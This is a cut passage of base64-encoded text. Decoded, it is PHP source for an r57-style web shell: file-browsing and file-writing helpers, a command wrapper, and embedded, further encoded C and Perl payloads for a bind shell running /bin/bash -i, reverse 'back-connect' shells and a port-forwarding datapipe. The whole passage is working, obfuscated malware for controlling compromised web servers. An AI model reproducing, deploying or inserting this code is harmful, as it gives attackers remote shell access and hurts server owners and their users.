ZWFkJ10sICRncm91cFsnd3JpdGUnXSwgJGdyb3VwWydleGVjdXRlJ10pOw0KJHMuPXNwcmludGYoIiUxcyUxcyUxcyIsICR3b3JsZFsncmVhZCddLCAkd29ybGRbJ3dyaXRlJ10sICR3b3JsZFsnZXhlY3V0ZSddKTsNCnJldHVybiB0cmltKCRzKTsNCn0NCmZ1bmN0aW9uIGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKQ0Kew0KICRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7DQogaWYoJHNpemUgIT0gMCkgeyAkcmV0IC49ICJzaXplPSIuJHNpemUuIiAiOyB9DQogJHJldCAuPSAidmFsdWU9XCIiLiR2YWx1ZS4iXCIiOw0KIGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7DQogcmV0dXJuICRyZXQuIj4iOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKQ0Kew0KJHBhdGggPSBleCgid2hpY2ggJHByIik7DQppZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuICRwcjsgfQ0KfQ0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KQ0Kew0KICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigwKTsNCiBpZigkd19maWxlKQ0KIHsNCiBAZnB1dHMoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOw0KIEBmY2xvc2UoJHdfZmlsZSk7DQogfQ0KfQ0KZnVuY3Rpb24gc3IoJGwsJHQxLCR0MikNCiB7DQogcmV0dXJuICI8dHIgY2xhc3M9dHIxPjx0ZCBjbGFzcz10ZDEgd2lkdGg9Ii4kbC4iJSBhbGlnbj1yaWdodD4iLiR0MS4iPC90ZD48dGQgY2xhc3M9dGQxIGFsaWduPWxlZnQ+Ii4kdDIuIjwvdGQ+PC90cj4iOw0KIH0NCmlmICghQGZ1bmN0aW9uX2V4aXN0cygidmlld19zaXplIikpDQp7DQpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpDQp7DQogaWYoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAiIEdCIjt9DQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICIgS0IiO30NCiBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9DQogcmV0dXJuICRzaXplOw0KfQ0KfQ0KICBmdW5jdGlvbiBEaXJGaWxlc1IoJGRpciwkdHlwZXM9JycpDQogIHsNCiAgICAkZmlsZXMgPSBBcnJheSgpOw0KICAgIGlmKCgkaGFuZGxlID0gQG9wZW5kaXIoJGRpcikpKQ0KICAgIHsNCiAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gQHJlYWRkaXIoJGhhbmRsZSkpKQ0KICAgICAgew0KICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpDQogICAgICAgIHsNCiAgICAgICAgICBpZihAaXNfZGlyKCRkaXIuIi8iLiRmaWxlKSkNCiAgICAgICAgICAgICRmaWxlcyA9IEBhcnJheV9tZXJnZSgkZmlsZXMsRGlyRmlsZXNSKCRkaXIuIi8iLiRmaWxlLCR0eXBlcykpOw0KICAgICAgICAgIGVsc2UNCiAgICAgICAgICB7DQogICAgICAgICAgICAkcG9zID0gQHN0cnJwb3MoJGZpbGUsIi4iKTsNCiAgICAgICAgICAgICRleHQgPSBAc3Vic3RyKCRmaWxlLCRwb3MsQHN0cmxlbigkZmlsZSktJHBvcyk7DQogICAgICAgICAgICBpZigkdHlwZXMpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgIGlmKEBpbl9hcnJheSgkZXh0LGV4cGxvZGUoJzsnLCR0eXBlcykpKQ0KICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgICBAY2xvc2VkaXIoJGhhbmRsZSk7DQogICAgfQ0KICAgIHJldHVybiAkZmlsZXM7DQogIH0NCiAgY2xhc3MgU2VhcmNoUmVzdWx0DQogIHsNCiAgICB2YXIgJHRleHQ7DQogICAgdmFyICRGaWxlc1RvU2VhcmNoOw0KICAgIHZhciAkUmVzdWx0RmlsZXM7DQogICAgdmFyICRGaWxlc1RvdGFsOw0KICAgIHZhciAkTWF0Y2hlc0NvdW50Ow0KICAgIHZhciAkRmlsZU1hdHNjaGVzQ291bnQ7DQogICAgdmFyICRUaW1lU3RhcnQ7DQogICAgdmFyICRUaW1lVG90YWw7DQogICAgdmFyICR0aXRsZXM7DQogICAgZnVuY3Rpb24gU2VhcmNoUmVzdWx0KCRkaXIsJHRleHQsJGZpbHRlcj0nJykNCiAgICB7DQogICAgICAkZGlycyA9IEBleHBsb2RlKCI7IiwkZGlyKTsNCiAgICAgICR0aGlzLT5GaWxlc1RvU2VhcmNoID0gQXJyYXkoKTsNCiAgICAgIGZvcigkYT0wOyRhPGNvdW50KCRkaXJzKTskYSsrKQ0KICAgICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEBhcnJheV9tZXJnZSgkdGhpcy0+RmlsZXNUb1NlYXJjaCxEaXJGaWxlc1IoJGRpcnNbJGFdLCRmaWx0ZXIpKTsNCiAgICAgICR0aGlzLT50ZXh0ID0gJHRleHQ7DQogICAgICAkdGhpcy0+RmlsZXNUb3RhbCA9IEBjb3VudCgkdGhpcy0+RmlsZXNUb1NlYXJjaCk7DQogICAgICAkdGhpcy0+VGltZVN0YXJ0ID0gZ2V0bWljcm90aW1lKCk7DQogICAgICAkdGhpcy0+TWF0Y2hlc0NvdW50ID0gMDsNCiAgICAgICR0aGlzLT5SZXN1bHRGaWxlcyA9IEFycmF5KCk7DQogICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudCA9IEFycmF5KCk7DQogICAgICAkdGhpcy0+dGl0bGVzID0gQXJyYXkoKTsNCiAgICB9DQogICAgZnVuY3Rpb24gR2V0RmlsZXNUb3RhbCgpIHsgcmV0dXJuICR0aGlzLT5GaWxlc1RvdGFsOyB9DQogICAgZnVuY3Rpb24gR2V0VGl0bGVzKCkgeyByZXR1cm4gJHRoaXMtPnRpdGxlczsgfQ0KICAgIGZ1bmN0aW9uIEdldFRpbWVUb3RhbCgpIHsgcmV0dXJuICR0aGlzLT5UaW1lVG90YWw7IH0NCiAgICBmdW5jdGlvbiBHZXRNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+TWF0Y2hlc0NvdW50OyB9DQogICAgZnVuY3Rpb24gR2V0RmlsZU1hdGNoZXNDb3VudCgpIHsgcmV0dXJuICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50OyB9DQogICAgZnVuY3Rpb24gR2V0UmVzdWx0RmlsZXMoKSB7IHJldHVybiAkdGhpcy0+UmVzdWx0RmlsZXM7IH0NCiAgICBmdW5jdGlvbiBTZWFyY2hUZXh0KCRwaHJhc2U9MCwkY2FzZT0wKSB7DQogICAgJHFxID0gQGV4cGxvZGUoJyAnLCR0aGlzLT50ZXh0KTsNCiAgICAkZGVsaW0gPSAnfCc7DQogICAgICBpZigkcGhyYXNlKQ0KICAgICAgICBmb3JlYWNoKCRxcSBhcyAkaz0+JHYpDQogICAgICAgICAgJHFxWyRrXSA9ICdcYicuJHYuJ1xiJzsNCiAgICAgICR3b3JkcyA9ICcoJy5AaW1wbG9kZSgkZGVsaW0sJHFxKS4nKSc7DQogICAgICAkcGF0dGVybiA9ICIvIi4kd29yZHMuIi8iOw0KICAgICAgaWYoISRjYXNlKQ0KICAgICAgICAkcGF0dGVybiAuPSAnaSc7DQogICAgICBmb3JlYWNoKCR0aGlzLT5GaWxlc1RvU2VhcmNoIGFzICRrPT4kZmlsZW5hbWUpDQogICAgICB7DQogICAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gPSAwOw0KICAgICAgICAkRmlsZVN0cmluZ3MgPSBAZmlsZSgkZmlsZW5hbWUpIG9yIEBuZXh0Ow0KICAgICAgICBmb3IoJGE9MDskYTxAY291bnQoJEZpbGVTdHJpbmdzKTskYSsrKQ0KICAgICAgICB7DQogICAgICAgICAgJGNvdW50ID0gMDsNCiAgICAgICAgICAkQ3VyU3RyaW5nID0gJEZpbGVTdHJpbmdzWyRhXTsNCiAgICAgICAgICAkQ3VyU3RyaW5nID0gQFRyaW0oJEN1clN0cmluZyk7DQogICAgICAgICAgJEN1clN0cmluZyA9IEBzdHJpcF90YWdzKCRDdXJTdHJpbmcpOw0KICAgICAgICAgICRhYSA9ICcnOw0KICAgICAgICAgIGlmKCgkY291bnQgPSBAcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sJEN1clN0cmluZywkYWEpKSkNCiAgICAgICAgICB7DQogICAgICAgICAgICAkQ3VyU3RyaW5nID0gQHByZWdfcmVwbGFjZSgkcGF0dGVybiwiPFNQQU4gc3R5bGU9J2NvbG9yOiAjOTkwMDAwOyc+PGI+XFwxPC9iPjwvU1BBTj4iLCRDdXJTdHJpbmcpOw0KICAgICAgICAgICAgJHRoaXMtPlJlc3VsdEZpbGVzWyRmaWxlbmFtZV1bJGErMV0gPSAkQ3VyU3RyaW5nOw0KICAgICAgICAgICAgJHRoaXMtPk1hdGNoZXNDb3VudCArPSAkY291bnQ7DQogICAgICAgICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudFskZmlsZW5hbWVdICs9ICRjb3VudDsNCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgICR0aGlzLT5UaW1lVG90YWwgPSBAcm91bmQoZ2V0bWljcm90aW1lKCkgLSAkdGhpcy0+VGltZVN0YXJ0LDQpOw0KICAgIH0NCiAgfQ0KICBmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKQ0KICB7DQogICAgbGlzdCgkdXNlYywkc2VjKSA9IEBleHBsb2RlKCIgIixAbWljcm90aW1lKCkpOw0KICAgIHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpOw0KICB9DQokcG9ydF9iaW5kX2JkX2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjVjR1Z6TG1nK0RRb2phVzVqYkhWa1pTDQpBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHhsY25KdWJ5NW9QZzBLYVc1MElHMWhhVzRvWVhKbll5eGhjbWQyS1EwS2FXNTBJDQpHRnlaMk03RFFwamFHRnlJQ29xWVhKbmRqc05DbnNnSUEwS0lHbHVkQ0J6YjJOclptUXNJRzVsZDJaa093MEtJR05vWVhJZ1luVm1Xek13WFRzTkNpQnpkSEoxWTNRZ2MyOWphMkZrWkhKZmFXNGdjbVZ0DQpiM1JsT3cwS0lHbG1LR1p2Y21zb0tTQTlQU0F3S1NCN0lBMEtJSEpsYlc5MFpTNXphVzVmWm1GdGFXeDVJRDBnUVVaZlNVNUZWRHNOQ2lCeVpXMXZkR1V1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWhoZEc5DQpwS0dGeVozWmJNVjBwS1RzTkNpQnlaVzF2ZEdVdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0lBMEtJSE52WTJ0bVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGDQpOUFEwdGZVMVJTUlVGTkxEQXBPdzBLSUdsbUtDRnpiMk5yWm1RcElIQmxjbkp2Y2lnaWMyOWphMlYwSUdWeWNtOXlJaWs3RFFvZ1ltbHVaQ2h6YjJOclptUXNJQ2h6ZEhKMVkzUWdjMjlqYTJGa1pISWdLDQppa21jbVZ0YjNSbExDQXdlREV3S1RzTkNpQnNhWE4wWlc0b2MyOWphMlprTENBMUtUc05DaUIzYUdsc1pTZ3hLUTBLSUNCN0RRb2dJQ0J1WlhkbVpEMWhZMk5sY0hRb2MyOWphMlprTERBc01DazdEUW9nDQpJQ0JrZFhBeUtHNWxkMlprTERBcE93MEtJQ0FnWkhWd01paHVaWGRtWkN3eEtUc05DaUFnSUdSMWNESW9ibVYzWm1Rc01pazdEUW9nSUNCM2NtbDBaU2h1WlhkbVpDd2lVR0Z6YzNkdmNtUTZJaXd4TUNrDQo3RFFvZ0lDQnlaV0ZrS0c1bGQyWmtMR0oxWml4emFYcGxiMllvWW5WbUtTazdEUW9nSUNCcFppQW9JV05vY0dGemN5aGhjbWQyV3pKZExHSjFaaWtwRFFvZ0lDQnplWE4wWlcwb0ltVmphRzhnZDJWc1kyDQo5dFpTQjBieUJ5TlRjZ2MyaGxiR3dnSmlZZ0wySnBiaTlpWVhOb0lDMXBJaWs3RFFvZ0lDQmxiSE5sRFFvZ0lDQm1jSEpwYm5SbUtITjBaR1Z5Y2l3aVUyOXljbmtpS1RzTkNpQWdJR05zYjNObEtHNWxkDQoyWmtLVHNOQ2lBZ2ZRMEtJSDBOQ24wTkNtbHVkQ0JqYUhCaGMzTW9ZMmhoY2lBcVltRnpaU3dnWTJoaGNpQXFaVzUwWlhKbFpDa2dldzBLYVc1MElHazdEUXBtYjNJb2FUMHdPMms4YzNSeWJHVnVLR1Z1DQpkR1Z5WldRcE8ya3JLeWtnRFFwN0RRcHBaaWhsYm5SbGNtVmtXMmxkSUQwOUlDZGNiaWNwRFFwbGJuUmxjbVZrVzJsZElEMGdKMXd3SnpzZ0RRcHBaaWhsYm5SbGNtVmtXMmxkSUQwOUlDZGNjaWNwRFFwDQpsYm5SbGNtVmtXMmxkSUQwZ0oxd3dKenNOQ24wTkNtbG1JQ2doYzNSeVkyMXdLR0poYzJVc1pXNTBaWEpsWkNrcERRcHlaWFIxY200Z01Ec05DbjA9IjsNCiRwb3J0X2JpbmRfYmRfcGw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZZbUZ6YUNBdGFTSTdEUXBwWmlBb1FFRlNSMVlnUENBeEtTQjdJR1Y0YVhRb01TazdJSDBOQ2lSTVMNClZOVVJVNWZVRTlTVkQwa1FWSkhWbHN3WFRzTkNuVnpaU0JUYjJOclpYUTdEUW9rY0hKdmRHOWpiMnc5WjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXMNCkpsTlBRMHRmVTFSU1JVRk5MQ1J3Y205MGIyTnZiQ2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlYNClRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkV4SlUxUkZUbDlRVDFKVUxFbE9RVVJFVWw5QlRsa3BLU0I4ZkNCa2FXVWdJa05oYm5RZ2IzQmxiaUJ3YjNKMFhHNGlPdzBLYkcNCmx6ZEdWdUtGTXNNeWtnZkh3Z1pHbGxJQ0pEWVc1MElHeHBjM1JsYmlCd2IzSjBYRzRpT3cwS2QyaHBiR1VvTVNrTkNuc05DbUZqWTJWd2RDaERUMDVPTEZNcE93MEthV1lvSVNna2NHbGtQV1p2Y21zcEsNClEwS2V3MEtaR2xsSUNKRFlXNXViM1FnWm05eWF5SWdhV1lnS0NGa1pXWnBibVZrSUNSd2FXUXBPdzBLYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNtOXdaVzRnVTFSRVQxVlVMQ0krSmtOUFRrNGkNCk93MEtiM0JsYmlCVFZFUkZVbElzSWo0bVEwOU9UaUk3RFFwbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNtTnNiM04NCmxJRU5QVGs0N0RRcGxlR2wwSURBN0RRcDlEUXA5IjsNCiRiYWNrX2Nvbm5lY3Q9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU8yVmoNCmFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFINCmhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QNCnNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0kNCmtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkNCktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwNCk9LVHNOQ21Oc2IzTmxLRk5VUkU5VlZDazdEUXBqYkc5elpTaFRWRVJGVWxJcE93PT0iOw0KJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQw0KQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5Yg0KU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZA0KS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISg0Kc1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQw0KQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RA0KUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcA0KT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOw0KJGRhdGFwaXBlX2M9IkkybHVZMngxWkdVZ1BITjVjeTkwZVhCbGN5NW9QZzBLSTJsdVkyeDFaR1VnUEhONWN5OXpiMk5yWlhRdWFENE5DaU5wYm1Oc2RXUmxJRHh6ZVhNdmQyRnBkQzVvUGcwS0kybHVZMg0KeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdScGJ5NW9QZzBLSTJsdVkyeDFaR1VnUEhOMFpHeHBZaTVvUGcwS0kybHVZMngxWkdVZ1BHVnljbTV2TG1nK0RRb2phVzVqYg0KSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJdWFENE5DaU5wYm1Oc2RXUmxJRHhzYVc1MWVDOTBhVzFsTG1nK0RRb2phV1prWldZZ1UxUlNSVkpTVDFJTkNtVjRkR1Z5YmlCag0KYUdGeUlDcHplWE5mWlhKeWJHbHpkRnRkT3cwS1pYaDBaWEp1SUdsdWRDQnplWE5mYm1WeWNqc05DbU5vWVhJZ0tuVnVaR1ZtSUQwZ0lsVnVaR1ZtYVc1bFpDQmxjbkp2Y2lJN0RRcGphR0Z5SUNwemRISg0KbGNuSnZjaWhsY25KdmNpa2dJQTBLYVc1MElHVnljbTl5T3lBZ0RRcDdJQTBLYVdZZ0tHVnljbTl5SUQ0Z2MzbHpYMjVsY25JcERRcHlaWFIxY200Z2RXNWtaV1k3RFFweVpYUjFjbTRnYzNselgyVnljbQ0KeHBjM1JiWlhKeWIzSmRPdzBLZlEwS0kyVnVaR2xtRFFvTkNtMWhhVzRvWVhKbll5d2dZWEpuZGlrZ0lBMEtJQ0JwYm5RZ1lYSm5ZenNnSUEwS0lDQmphR0Z5SUNvcVlYSm5kanNnSUEwS2V5QU5DaUFnYQ0KVzUwSUd4emIyTnJMQ0JqYzI5amF5d2diM052WTJzN0RRb2dJRVpKVEVVZ0ttTm1hV3hsT3cwS0lDQmphR0Z5SUdKMVpsczBNRGsyWFRzTkNpQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJR3hoWkdSeQ0KTENCallXUmtjaXdnYjJGa1pISTdEUW9nSUdsdWRDQmpZV1JrY214bGJpQTlJSE5wZW1WdlppaGpZV1JrY2lrN0RRb2dJR1prWDNObGRDQm1aSE55TENCbVpITmxPdzBLSUNCemRISjFZM1FnYUc5emRHVg0KdWRDQXFhRHNOQ2lBZ2MzUnlkV04wSUhObGNuWmxiblFnS25NN0RRb2dJR2x1ZENCdVlubDBPdzBLSUNCMWJuTnBaMjVsWkNCc2IyNW5JR0U3RFFvZ0lIVnVjMmxuYm1Wa0lITm9iM0owSUc5d2IzSjBPdw0KMEtEUW9nSUdsbUlDaGhjbWRqSUNFOUlEUXBJSHNOQ2lBZ0lDQm1jSEpwYm5SbUtITjBaR1Z5Y2l3aVZYTmhaMlU2SUNWeklHeHZZMkZzY0c5eWRDQnlaVzF2ZEdWd2IzSjBJSEpsYlc5MFpXaHZjM1JjYg0KaUlzWVhKbmRsc3dYU2s3RFFvZ0lDQWdjbVYwZFhKdUlETXdPdzBLSUNCOURRb2dJR0VnUFNCcGJtVjBYMkZrWkhJb1lYSm5kbHN6WFNrN0RRb2dJR2xtSUNnaEtHZ2dQU0JuWlhSb2IzTjBZbmx1WVcxbA0KS0dGeVozWmJNMTBwS1NBbUpnMEtJQ0FnSUNBZ0lTaG9JRDBnWjJWMGFHOXpkR0o1WVdSa2NpZ21ZU3dnTkN3Z1FVWmZTVTVGVkNrcEtTQjdEUW9nSUNBZ2NHVnljbTl5S0dGeVozWmJNMTBwT3cwS0lDQQ0KZ0lISmxkSFZ5YmlBeU5Uc05DaUFnZlEwS0lDQnZjRzl5ZENBOUlHRjBiMndvWVhKbmRsc3lYU2s3RFFvZ0lHeGhaR1J5TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vS0hWdWMybG5ibVZrSUhOb2IzSjBLUw0KaGhkRzlzS0dGeVozWmJNVjBwS1NrN0RRb2dJR2xtSUNnb2JITnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQw0KaUFnSUNCd1pYSnliM0lvSW5OdlkydGxkQ0lwT3cwS0lDQWdJSEpsZEhWeWJpQXlNRHNOQ2lBZ2ZRMEtJQ0JzWVdSa2NpNXphVzVmWm1GdGFXeDVJRDBnYUhSdmJuTW9RVVpmU1U1RlZDazdEUW9nSUd4aA0KWkdSeUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHaDBiMjVzS0RBcE93MEtJQ0JwWmlBb1ltbHVaQ2hzYzI5amF5d2dKbXhoWkdSeUxDQnphWHBsYjJZb2JHRmtaSElwS1NrZ2V3MEtJQ0FnSUhCbGNuSg0KdmNpZ2lZbWx1WkNJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCcFppQW9iR2x6ZEdWdUtHeHpiMk5yTENBeEtTa2dldzBLSUNBZ0lIQmxjbkp2Y2lnaWJHbHpkR1Z1SWlrN0RRb2dJQw0KQWdjbVYwZFhKdUlESXdPdzBLSUNCOURRb2dJR2xtSUNnb2JtSjVkQ0E5SUdadmNtc29LU2tnUFQwZ0xURXBJSHNOQ2lBZ0lDQndaWEp5YjNJb0ltWnZjbXNpS1RzTkNpQWdJQ0J5WlhSMWNtNGdNakE3RA0KUW9nSUgwTkNpQWdhV1lnS0c1aWVYUWdQaUF3S1EwS0lDQWdJSEpsZEhWeWJpQXdPdzBLSUNCelpYUnphV1FvS1RzTkNpQWdkMmhwYkdVZ0tDaGpjMjlqYXlBOUlHRmpZMlZ3ZENoc2MyOWpheXdnSm1OaA0KWkdSeUxDQW1ZMkZrWkhKc1pXNHBLU0FoUFNBdE1Ta2dldzBLSUNBZ0lHTm1hV3hsSUQwZ1ptUnZjR1Z1S0dOemIyTnJMQ0p5S3lJcE93MEtJQ0FnSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMA0KZ0xURXBJSHNOQ2lBZ0lDQWdJR1p3Y21sdWRHWW9ZMlpwYkdVc0lDSTFNREFnWm05eWF6b2dKWE5jYmlJc0lITjBjbVZ5Y205eUtHVnljbTV2S1NrN0RRb2dJQ0FnSUNCemFIVjBaRzkzYmloamMyOWpheQ0Kd3lLVHNOQ2lBZ0lDQWdJR1pqYkc5elpTaGpabWxzWlNrN0RRb2dJQ0FnSUNCamIyNTBhVzUxWlRzTkNpQWdJQ0I5RFFvZ0lDQWdhV1lnS0c1aWVYUWdQVDBnTUNrTkNpQWdJQ0FnSUdkdmRHOGdaMjkwYw0KMjlqYXpzTkNpQWdJQ0JtWTJ4dmMyVW9ZMlpwYkdVcE93MEtJQ0FnSUhkb2FXeGxJQ2gzWVdsMGNHbGtLQzB4TENCT1ZVeE1MQ0JYVGs5SVFVNUhLU0ErSURBcE93MEtJQ0I5RFFvZ0lISmxkSFZ5YmlBeQ0KTURzTkNnMEtJR2R2ZEhOdlkyczZEUW9nSUdsbUlDZ29iM052WTJzZ1BTQnpiMk5yWlhRb1VFWmZTVTVGVkN3Z1UwOURTMTlUVkZKRlFVMHNJRWxRVUZKUFZFOWZWRU5RS1NrZ1BUMGdMVEVwSUhzTkNpQQ0KZ0lDQm1jSEpwYm5SbUtHTm1hV3hsTENBaU5UQXdJSE52WTJ0bGREb2dKWE5jYmlJc0lITjBjbVZ5Y205eUtHVnljbTV2S1NrN0RRb2dJQ0FnWjI5MGJ5QnhkV2wwTVRzTkNpQWdmUTBLSUNCdllXUmtjaQ0KNXphVzVmWm1GdGFXeDVJRDBnYUMwK2FGOWhaR1J5ZEhsd1pUc05DaUFnYjJGa1pISXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aHZjRzl5ZENrN0RRb2dJRzFsYldOd2VTZ21iMkZrWkhJdWMybHVYMkZrWg0KSElzSUdndFBtaGZZV1JrY2l3Z2FDMCthRjlzWlc1bmRHZ3BPdzBLSUNCcFppQW9ZMjl1Ym1WamRDaHZjMjlqYXl3Z0ptOWhaR1J5TENCemFYcGxiMllvYjJGa1pISXBLU2tnZXcwS0lDQWdJR1p3Y21sdQ0KZEdZb1kyWnBiR1VzSUNJMU1EQWdZMjl1Ym1WamREb2dKWE5jYmlJc0lITjBjbVZ5Y205eUtHVnljbTV2S1NrN0RRb2dJQ0FnWjI5MGJ5Q